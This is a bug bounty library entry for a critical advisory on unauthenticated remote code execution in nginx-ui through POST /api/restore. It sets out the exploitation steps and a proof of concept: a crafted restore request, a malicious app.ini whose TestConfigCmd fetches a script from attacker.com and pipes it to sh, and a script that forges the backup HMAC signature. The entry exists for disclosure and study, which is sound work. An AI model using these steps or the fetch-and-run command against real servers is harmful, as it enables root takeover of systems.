# Nginx-UI is Vulnerable to Unauthenticated Remote Code Execution via Backup Restore

Unauthenticated POST /api/restore on fresh nginx-ui installs lets an attacker upload a crafted backup overwriting app.ini with a malicious TestConfigCmd, yielding root RCE.

- Payout: Research
- Severity: critical
- Program: nginx-ui
- Found by: captain99hook
- Disclosed: 2026-05-06
- CVE: CVE-2026-42238
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-4pvg-prr3-9cxr
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-4pvg-prr3-9cxr
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:go technique:chained technique:source-review vuln:auth-bypass vuln:command-injection vuln:file-upload vuln:rce

**Target:** nginx-ui web API (POST /api/restore) on port 9000
**Root cause:** The restore route is registered on the root group with only IPWhiteList middleware; authIfInstalled skips AuthRequired when JwtSecret is empty and startup is under 10 minutes. The restore handler then copies attacker-supplied app.ini over the real config, and TestConfigCmd from it is later passed verbatim to /bin/sh -c.
**Steps:**
1. `GET /api/install` and confirm `{"lock": false, "timeout": false}` (window open).
2. Generate random 32-byte AES key and 16-byte IV; build malicious `app.ini` with `TestConfigCmd = curl http://attacker.com/shell.sh|sh` and chosen `JwtSecret`/node `Secret`.
3. Package `app.ini` (+ optional `nginx-ui.db`) into `nginx-ui.zip`, encrypt with AES-256-CBC using key/IV; build `manifest.json` with SHA-256/size of encrypted zips.
4. Sign manifest: `signing_key = sha256(b"nginx-ui-backup-signing-v1:" + aes_key)`, `sig = hmac_sha256(signing_key, manifest_bytes)`; assemble outer ZIP with manifest.json, manifest.sig, nginx-ui.zip, nginx.zip.
5. `POST /api/restore` multipart with `backup_file`, `security_token=<base64(key)>:<base64(iv)>`, `restore_nginx_ui=true` — no auth needed.
6. Wait ~3s for `risefront.Restart()` to reload attacker app.ini, then `POST /api/nginx/test` with `X-Node-Secret: attacker_chosen_node_secret` to trigger `/bin/sh -c "curl http://attacker.com/shell.sh|sh"`.
**How found:** Source code review of router registration: noticed backup.InitRouter mounted on root group with only IPWhiteList, then traced authIfInstalled's time-bounded bypass (JwtSecret empty + startupTime < 10min), the optional EncryptedForm middleware, and the self-referential HMAC key derivation from attacker-supplied AES key, leading to the app.ini overwrite and TestConfigCmd shell sink.
**Exploitation:** Attacker needs network access to nginx-ui (default 9000/tcp) on a fresh install or within 10 minutes of any process restart, with no IP whitelist. They craft a backup archive whose inner nginx-ui.zip contains a malicious app.ini (and optionally a SQLite DB with a known admin bcrypt hash), encrypt it with a self-chosen AES key/IV, and sign the manifest with an HMAC key derived from that same AES key — making the integrity check self-referential. Uploading via unauthenticated POST /api/restore overwrites app.ini and the DB; the app auto-restarts 2s later, loading the attacker's TestConfigCmd. A follow-up POST /api/nginx/test authenticated with the attacker-chosen node secret executes the injected shell command as the nginx-ui process user (root in Docker), yielding a reverse shell.
**Escalation:** Node secret in the restored app.ini grants full API access without needing the admin password; root process user in Docker plus host mounts/privileged mode extends to host compromise.
**Insight:** When a restore/import endpoint derives its integrity key from a caller-supplied secret, the signature check is meaningless — look for HMAC keys derived from request parameters. Also audit 'setup window' auth guards: any time-bounded or install-state-conditional auth bypass on a file-write primitive is effectively unauthenticated RCE if the written config feeds a shell sink.

## Proof of concept (copied exactly from the original report)

**Unauthenticated multipart POST to /api/restore with crafted backup**

```
POST /api/restore HTTP/1.1
Host: target:9000
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="backup_file"; filename="evil.zip"
Content-Type: application/zip

[crafted backup bytes]
------Boundary
Content-Disposition: form-data; name="security_token"

<base64(aes_key)>:<base64(aes_iv)>
------Boundary
Content-Disposition: form-data; name="restore_nginx_ui"

true
------Boundary--
```

**Malicious app.ini with injected TestConfigCmd**

```
[app]
JwtSecret = attacker_chosen_jwt_secret_32chars

[node]
Secret = attacker_chosen_node_secret

[nginx]
TestConfigCmd = curl http://attacker.com/shell.sh|sh
```

**HMAC signing key derivation and signature forgery script**

```
import hashlib, hmac
context = b"nginx-ui-backup-signing-v1:"
signing_key = hashlib.sha256(context + aes_key).digest()
sig = hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest()
```

